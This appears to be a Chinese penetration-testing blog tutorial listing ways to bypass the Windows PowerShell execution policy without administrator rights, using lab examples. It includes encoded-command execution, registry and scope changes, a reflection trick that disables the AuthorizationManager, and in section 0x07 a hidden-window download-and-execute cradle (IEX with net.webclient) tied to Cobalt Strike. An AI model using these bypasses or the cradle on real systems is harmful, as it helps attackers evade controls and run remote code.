滲透技巧 | Bypass Powershell執行策略的N種方式(文末有福利)
何為powershell執行策略PowerShell 是一個跨平臺的任務自動化解決方案,由命令行 shell、腳本語言和配置管理框架組成。PowerShell 在 Windows、Linux 和 macOS 上運行。
由于powershell有以下性質,往往受到管理員或者安全人員的青睞。
1.是Windows原生的2.可以調用Windows API3.無文件執行命令4.可以逃避Anti-Virus的檢測(這個其實現在還比較敏感了)5.被大多數程序加入白名單中,標記為可信的6.有許多開源的滲透工具集
windows為powershell設計了一個名為Execution Policy,即執行策略的東西來決定哪些類型的PowerShell腳本可以在系統中運行。PowerShell 提供了 Restricted、AllSigned、RemoteSigned、Unrestricted、Bypass、Undefined 六種類型的執行策略。在默認情況下,它是“Restricted”(限制)的,即任何腳本都不行。但其實它并非是為了是為了防止一些惡意腳本的執行,而是幫助用戶設置基本規則并阻止他們無意中違反規則。
Restricted
?Windows 客戶端計算機的默認執行策略。
?允許運行單個命令,但不允許運行腳本。?阻止運行所有腳本文件,包括格式化和配置文件 ( .ps1xml)、模塊腳本文件 ( .psm1) 和 PowerShell 配置文件 ( .ps1)。
AllSigned
?腳本可以運行。?要求所有腳本和配置文件都由受信任的發布者簽名,包括在本地計算機上編寫的腳本。?在運行來自你尚未歸類為受信任或不受信任的發布者的腳本之前提示你
RemoteSigned
?Windows 服務器計算機的默認執行策略。
?腳本可以運行。?需要可信發布者對從 Internet 下載的腳本和配置文件(包括電子郵件和即時消息程序)進行數字簽名。?不要求在本地計算機上編寫的腳本(不是從 Internet 下載的)具有數字簽名。?運行從 Internet 下載且未簽名的腳本(如果腳本未阻止,例如使用Unblock-Filecmdlet)。?有運行來自互聯網以外來源的未簽名腳本和可能是惡意的簽名腳本的風險。
Unrestricted
?未簽名的腳本可以運行。存在運行惡意腳本的風險。?在運行不是來自本地 Intranet 區域的腳本和配置文件之前警告用戶。
Bypass
?沒有任何內容被阻止,也沒有警告或提示。?此執行策略設計用于將 PowerShell 腳本內置到更大應用程序中的配置,或用于將 PowerShell 作為具有自己的安全模型的程序的基礎的配置。
Undefined
?當前作用域中未設置執行策略。?如果所有作用域中的執行策略都是Undefined,則有效執行策略是Restricted。
使用命令來查看當前執行策略。
Get-ExecutionPolicy

獲取影響當前會話的所有執行策略
Get-ExecutionPolicy-List

這些策略中的每一個都可以應用于不同的范圍來控制受它們影響的人,范圍是:
?MachinePolicy:由組策略為所有用戶設置的執行策略。?UserPolicy:由組策略為當前用戶設置的執行策略。?Process:為當前 Windows PowerShell 進程設置的執行策略。?CurrentUser:為當前用戶設置的執行策略。?LocalMachine:為所有用戶設置的執行策略。
同樣可以修改執行策略,使用命令Set-ExecutionPolicy。微軟對他的一句話說明為:為 Windows 計算機設置 PowerShell 執行策略。

但修改策略需要至少管理員身份

本文就如何無需擁有管理員權限,繞過默認Restricted(限制)執行策略設置進行淺談。
環境準備操作系統:win10專業版,版本號20H2
寫一個最簡單的腳本:Write-Host "this is a test".

當直接運行該腳本在Restricted(限制)執行策略的機器上時,會出現“此系統禁止運行腳本”的錯誤。

0x01 直接粘貼腳本到powershell交互窗口由于允許運行單個命令,但不允許運行腳本,所以便可以將將腳本代碼粘貼到powershell交互窗口,這是最直接的。

0x02 -Command命令參數這個方法和上面的方法很像,但是此方法不需要一個交互式的窗口。它適用于簡單腳本的執行,但是腳本復雜一點是執行不了的。
powershell -command Write-Host"this is a test"

0x03 管道傳輸從一個文件中讀取腳本,然后通過管道傳輸到PowerShell的標準輸入中
通過echo腳本到powershell的標準輸入:
EchoWrite-Host"this is a test"|PowerShell.exe -noprofile -

相同性質的還有通過windows的type命令,唯一的區別是可以直接type一個文件,其實本質差不多。
type xxx.ps1 |PowerShell.exe -noprofile -

powershell的Get-Content命令從磁盤讀取你的腳本并輸入到標準的PowerShell中。

0x04 使用Invoke-Command或Invoke-Expression命令Invoke-Command
通過交互式PowerShell控制臺執行。

此外,這個命令還有一個比較夸張的功能:可以抓取遠程主機的策略并應用到當前主機。
這里測試了一下工作組。
invoke-command -computername Server01-scriptblock {get-executionpolicy}|set-executionpolicy -force

但是這里沒有成功,用wireshark抓了下流量發現并沒有,也不是SMB協議。如果有執行成功的師傅可以說一下。
Invoke-Expression
同樣是可以通過交互式控制臺的方式。
Get-Content xxx.ps1 |Invoke-Expression Get-Content xxx.ps1 | iex
上面兩個命令效果都是一樣的,只不過iex為Invoke-Expression的簡化寫的版本。

0x05 使用"Bypass"標記Execution Policypowershell.exe -ExecutionPolicyBypass-File xxx.ps1

這里其他幾個執行策略除了RemoteSigned都是可以了,就不一一去寫了。
0x06 使用-EncodeCommand參數通過Unicode / Base64編碼串這種方式加密腳本,可以繞過所有通過"Command"參數執行時會遇到的錯誤,算是一個Command的加強版。
$command ="Write-Host 'this is a test'"$bytes =[System.Text.Encoding]::Unicode.GetBytes($command)$encodedCommand =[Convert]::ToBase64String($bytes)$encodedCommandpowershell.exe -EncodedCommand $encodedCommand

可以先在本地輸出對應的編碼,在目標機器上可以直接使用
powershell.exe -EncodedCommandVwByAGkAdABlAC0ASABvAHMAdAAgACcAdABoAGkAcwAgAGkAcwAgAGEAIAB0AGUAcwB0ACcA

0x07 URL Downloadcs用的比較多的應該知道,cs的powershell無文件執行就是用的這種方式。這種技術可以用來從網上下載一個PowerShell腳本并執行它無需寫入磁盤。它也不會導致任何配置更改。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.59.128:8066/a'))"


同樣不受執行策略的影響,它實際上就是去192.168.59.128的8066端口下下載一個腳本并去執行。
0x08 注冊表修改經過本人測試,路徑為:
計算機\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell

這個鍵值對可能一開始沒有,就自行添加。
當我嘗試普通權限命令行修改注冊表卻失敗了。
reg add HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell/v ExecutionPolicy/t REG_SZ /d Bypass

這里我還網上看到一個路徑,但是在win10機器上并沒有。
HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell
由于是HKCU開頭的,應該普通權限是可以的,估計在老點的操作系統上可以實現,或者說自行添加一個鍵值對,這里我就沒有去嘗試了,不過通過查看所有執行策略可以看到修改的就是LocalMachine的執行策略,自行添加HKCU下的鍵值對應該是可行的。

0x09 使用“Remote-Signed”標記Execution Policy大概意思是生成自簽名證書,對腳本經行數字簽名,這樣可以通過Remote-Signed進行標記運行。
這個感覺就有點雞肋了,通過makecert等類似的工具去生成自簽名證書并簽名,過程比較復雜,參考https://www.darkoperator.com/blog/2013/3/5/powershell-basics-execution-policy-part-1.html
直接使用Remote-Signed標記是無法運行的,那為什么不直接標記成Bypass呢(狗頭)
PowerShell.exe -ExecutionPolicyRemote-signed-File xxx.ps1

0x0A 基于層次bypass通過命令Get-ExecutionPolicy -list可以看到是有幾個范圍的,這個在文章開頭也已經說明了各自的作用范圍,不需要修改所有的策略作用范圍即可bypass。

把ExcutionPolicy設置成Process Scope,無需管理員權限。可以看到直接能夠執行腳本。
Set-ExecutionPolicyBypass-ScopeProcess

類似的還可以修改CurrentUser,同樣不需要管理員權限。
Set-Executionpolicy-ScopeCurrentUser-ExecutionPolicyUnRestricted

0x0B 交換AuthorizationManager禁用ExecutionPolicy當函數被調用"AuthorizationManager"就會被替換成空,然后禁用ExecutionPolicy。可以看到執行策略即便還是Restricted,但是已經可以執行腳本。它的變化將被應用于會話的持續時間。
functionDisable-ExecutionPolicy{($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx,(new-objectSystem.Management.Automation.AuthorizationManager"Microsoft.PowerShell"))}Disable-ExecutionPolicy
